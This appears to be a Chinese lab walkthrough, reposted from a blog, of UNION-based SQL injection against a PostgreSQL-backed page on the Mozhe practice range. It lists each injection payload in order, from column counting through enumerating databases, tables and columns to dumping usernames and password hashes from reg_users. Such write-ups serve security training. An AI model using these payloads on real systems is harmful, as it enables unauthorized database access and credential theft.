PostgreSQL数据库-注入

墨者靶场

1.判断是否存在注入点

?id=1 and 1=2

 

页面正常

 

页面报错  

2.确定字段

?id=1 order by 4

 

5的时候报错

 

4的时候页面 正常

确定4个字段 

3.确定回显 位

?id=1  union select '1','2','3','4'

由于和sql  server一样,union后面 不能跟数字,会报错。所以我们用''单引号的方式确定显示的字段

 

确定显示字段

2

4.获取数据库名

常用函数

current_database():获取当前正在使用的数据库

current_user:当前用户

version():当前数据库版本

?id=-1  union select '1',current_database(),'3','4' 

 

 mozhedvcms当前正在使用的数据库

补充小知识:获取所有数据库 

使用函数:

string_agg()将查询到的数据用符号拼接起来

Datname:数据库的名字

Pg_database:存储着所有数据库名

?id=-1  union select '1',string_agg(datname,'~'),'3','4' from pg_database 

 template1~template0~postgres~mozhedvcms

为所有数据库

5.获取表名

?id=-1  union  select '1',string_agg(table_name,'~'),'3','4' from information_Schema.tables

where  table_Schema='public'

public: 

我们创建的表都没有指定任何模式名称。默认情况下这些表(以及其他对象)会自动的被放入一个名为public的模式中。任何新数据库都包含这样一个模式。

默认情况下,PostgreSQL 带有“公共”模式,我们始终建议在 PostgreSQL 版本高达 14 时删除它。原因是,默认情况下,能够连接到数据库的每个人都可以在公共模式中创建对象。

 

 数据表为

notice

reg_users

6.获取字段

?id=-1 union select '1',string_agg(column_name,'~'),'3','4'  from information_schema.

columns where table_name='reg_users'

 

字段为

 id~name~password~status

7.拖库 

?id=-1  union select '1',string_agg(name,'~'),string_agg(password,'~'),'4' from reg_users

mozhe2 -1c63129ae9db9c60c3e8aa94d3e0049 1qaz2wsx

mozhe1 -aba6a93af410d1f562687f11b6a3fbab   969205

 

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/130232860